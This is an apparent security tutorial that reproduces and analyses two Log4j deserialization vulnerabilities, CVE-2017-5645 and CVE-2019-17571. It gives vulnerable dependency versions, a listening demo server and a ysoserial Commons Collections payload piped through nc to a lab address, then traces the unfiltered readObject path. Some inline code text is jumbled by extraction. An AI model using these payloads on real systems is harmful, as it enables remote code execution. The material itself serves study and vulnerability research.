Article directory
[java security] Log4j deserialization vulnerability
About Apache Log4j
Log4j is an open source project of Apache, which can replace print statements such as System.out, and can be combined with projects such as spring to output logs to consoles or files. And it can be flexibly configured through a configuration file without modifying the application code, which meets most requirements.
It is used to print the log
Vulnerability cause
The Log4j deserialization vulnerabilities introduced in this article are all due to the failure to filter the incoming data that needs to be serialized, resulting in malicious construction and related deserialization vulnerabilities
CVE-2017-5645
Vulnerability version
Log4j 2.x <= 2.8.1
Reproduce the environment
- jdk1.7
- Log4j-api,Log4j-core 2.8.1
- commons-collections 3.1
Vulnerability recurrence
pom.xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
demo
public class Log4jDemo {
public static void main(String[] args) {
TcpSocketServer myServer = null;
try {
myServer = new TcpSocketServer(7777,new ObjectInputStreamLogEventBridge());
} catch (IOException e) {
throw new RuntimeException(e);
}
myServer.run();
}
}
Let's run this class, it will listen to the local port 7777, and then we need to pass the data in
Then we use ysoserial
to generate a cc chain, and pass it to nc to trigger the vulnerability:
java -jar ysoserial.jar CommonsCollections1 "calc" | nc 192.168.1.100 7777
Vulnerability analysis
Let's analyze the method first TcpSocketServer#main()
. After starting Log4j, we createSerializedSocketServer()
created asocketServer
Then startNewThread()
the method will be called, we follow up:
public Thread startNewThread() {
Thread thread = new Log4jThread(this);
thread.start();
return thread;
}
The thread start()
method will be called, so TcpSocketServer#run()
in our follow-up method, run() will first determine whether the socket is closed, then call this.serverSocket.accept()
to receive data, assign it to clientSocket
a variable, and then call SocketHandler
the constructor to return ahandler
Let's follow up with SocketHandler
the class:
public SocketHandler(Socket socket) throws IOException {
this.inputStream = TcpSocketServer.this.logEventInput.wrapStream(socket.getInputStream());
}
It is found socket
that the received data is converted into ObjectInputStream
an object and assigned to:this.inputStream
(Because our code will
logEventInput
be assigned toObjectInputStreamLogEventBridge
an object before):So
wrapStream()
the function of this object will returnObjectInputStream
the objectpublic ObjectInputStream wrapStream(InputStream inputStream) throws IOException { return new ObjectInputStream(inputStream); }
When we're SocketHandler()
done , return to the handler, and then handler.start()
call the method like this SocketHandler#run()
:
In the run method, the previously generated ObjectInputStream
object will be passed to this.logEventInput.logEvents()
the method, and we follow up:
This method will call inputStream#readObject()
the method for deserialization, and there is no filtering in the whole step, so when the data we pass in is a malicious cc chain, the deserialization vulnerability can be triggered
CVE-2019-17571
This is similar
Vulnerability version
Log4j 1.2.x <= 1.2.17
Vulnerability recurrence
pom.xml
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId> <!-- 注意这里使用的是log4j -->
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
src/main/resources/log4j.properties
log4j.rootCategory=DEBUG,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.PatternLayout
log4j.appender.stdout.threshold=DEBUG
log4j.appender.stdout.layout.ConversionPattern=[%d{yyy-MM-dd HH:mm:ss,SSS}]-[%p]-[MSG!:%m]-[%c\:%L]%n
Log4jDemo.java
public class Log4jDemo {
public static void main(String[] args) {
String[] arguments = {
"7777", Log4jDemo.class.getClassLoader().getResource("log4j.properties").getPath()};
SimpleSocketServer.main(arguments);
}
}
Still the same as above, execute, and then use ysoserial
:
java -jar ysoserial.jar CommonsCollections1 "calc" | nc 192.168.1.100 7777
Vulnerability analysis
public class Log4jDemo {
public static void main(String[] args) {
String[] arguments = {
"7777", Log4jDemo.class.getClassLoader().getResource("log4j.properties").getPath()};
SimpleSocketServer.main(arguments);
}
}
First follow up SimpleSocketServer.main()
method:
After opening the SocketServer server, the listening port will be set, and then accept()
the received data will be assigned to socket
the object, and then the call SocketNode()
will besocket
passed in
Here is similar to the above, and the received data will be ObjectInputStream
returned as an object tothis.ois
Thread#start()
The method will continue to be called after calling the method later SocketNode#run()
:
Here also without any filtering, the data is deserialized to trigger the vulnerability
reference
https://www.anquanke.com/post/id/229489#h2-0
https://xz.aliyun.com/t/7010#toc-3
https://github.com/Maskhe/javasec/blob/master/4.log4j%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.md